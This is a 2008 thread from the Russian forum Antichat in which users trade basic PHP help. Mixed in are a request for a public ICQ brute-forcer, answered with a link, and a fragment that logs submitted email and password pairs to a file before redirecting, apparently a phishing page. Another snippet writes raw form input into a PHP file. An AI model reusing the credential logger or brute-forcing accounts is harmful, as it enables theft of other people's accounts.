Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

28.12.2008, 21:17
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме: 5321514
Репутация:
3313
|
|
Сообщение от m0Hze
В общем вопрос просто из интереса моего взят.Помню гдето тут уже обсуждалось,и я даже прочитал все ето дело и понял,но что-то искать на 740 страницах не охото =)
В общем сам вопрос:
Есть index.php. При обращении например index.php?3 = получаем одну страницу,при другом обращении,например ?4 получаем другую страницу\наполнение. Как такое осуществляеться? Желательно с маленьким примером хотябы,чтобы было более наглядно и понятно =)
PHP код:
foreach($_GET as $key => value)
{
if((int)$key != 0)
{
$page = $key;
break;
}
}
echo $key;
|
|
|

28.12.2008, 21:30
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Попробую последние 2 варианта,вроде как оно =)
Вот еще вопрос назрел:
Есть скрипт,пущай index.php, в нем тупо форма,и все.
Нужно,чтобы то что вписывают в текстареа,было добавленов в документе out.php за место коментария(какбе замена).Способ наитупейший,но ничего получше я придумать не смог.Если придложите вариант получше,то я с удовольствием его посмотрю =)
index.php
PHP код:
<html>
<head>
</head>
<title>
Blabla
</title>
<body>
<center>
<form method = "POST" action = "create.php">
<textarea name = "in"
cols = "40"
rows = "20">
</textarea>
<br>
<input type = "submit"
value = "Добавить">
</center>
</form>
</body>
</html>
create.php
PHP код:
<?
$in = $_POST['in'];
$res = file_get_contents('out.php');
$res = str_replace('//new',$in,$res);
?>
Никакой ошибки не кажет,но текст не заменяеться.Пробывал даже явно указать переменную $in.
В общем возможно есть способ попроще?
Пробывал также и прег_реплаце,но тоже не срабатывает.
.// мухаха,похоже все понял сам,ведь я не записывал новые данные в сам документ 
Последний раз редактировалось m0Hze; 28.12.2008 в 21:33..
|
|
|

28.12.2008, 21:33
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
<?
$in = $_POST['in'];
$res = file_get_contents('out.php');
$res = str_replace('//new',$in,$res);
?>
Ты же результат не записываешь в файл...
|
|
|

28.12.2008, 21:42
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Я уже ето понял 
Теперь другой вопрос,результат записываеться,но вот например ввожв в само поле:
PHP код:
case '3434' : $rambler = "322";
break;
А непосредственно в файле появляеться экранированый вариант:
Код:
case \'3434\' : $rambler = \"322\";
break;
Как сделать,чтобы писалось в файл,именно то что ввели,без екранизации цавычек,и подобного...
Последний раз редактировалось m0Hze; 28.12.2008 в 21:46..
|
|
|

28.12.2008, 21:48
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
ммм...выруби magic_quotes_gpc
|
|
|

28.12.2008, 21:55
|
|
Познавший АНТИЧАТ
Регистрация: 05.05.2008
Сообщений: 1,078
Провел на форуме: 10311449
Репутация:
1357
|
|
Народ а есть ли в паблике пхп брурет асек?
|
|
|

28.12.2008, 21:57
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме: 5321514
Репутация:
3313
|
|
Сообщение от m0Hze
Я уже ето понял 
Теперь другой вопрос,результат записываеться,но вот например ввожв в само поле:
PHP код:
case '3434' : $rambler = "322";
break;
А непосредственно в файле появляеться экранированый вариант:
Код:
case \'3434\' : $rambler = \"322\";
break;
Как сделать,чтобы писалось в файл,именно то что ввели,без екранизации цавычек,и подобного...
PHP код:
function anti_gpc($string)
{
return (!get_magic_quotes())?($string):(stripslashes($string));
}
|
|
|

28.12.2008, 22:10
|
|
Участник форума
Регистрация: 24.11.2008
Сообщений: 205
Провел на форуме: 1123418
Репутация:
362
|
|
Сообщение от MaTpOc
Народ а есть ли в паблике пхп брурет асек?
вот тут какой-то есть https://forum.antichat.ru/showthread.php?t=73171
|
|
|

29.12.2008, 02:21
|
|
Познавший АНТИЧАТ
Регистрация: 22.07.2007
Сообщений: 1,291
Провел на форуме: 3884427
Репутация:
766
|
|
Такой вопрос:
PHP код:
if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,4})$/i", $_POST['email'])){
fputs($f, $_POST['email'].";".$_POST['password']." \n");
header("Location:
Из скрипта видно, что эмаил проверяеться на тип жмайла,а вот далее у мну чет не приходит на ум, нужно что бы проверялся и пасс на предмет пустого поля....
Должно быть что-то типа
PHP код:
if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,4})$/i", $_POST['email']))
or (preg_match("", $_POST['password'])){
fputs($f, $_POST['email'].";".$_POST['password']." \n");
header("Location:
ток толком я так и не въехал...
|
|
|

29.12.2008, 02:32
|
|
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме: 4832771
Репутация:
1916
|
|
PHP код:
if(preg_match("....", $_POST['email']) && !empty($_POST['password']))
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|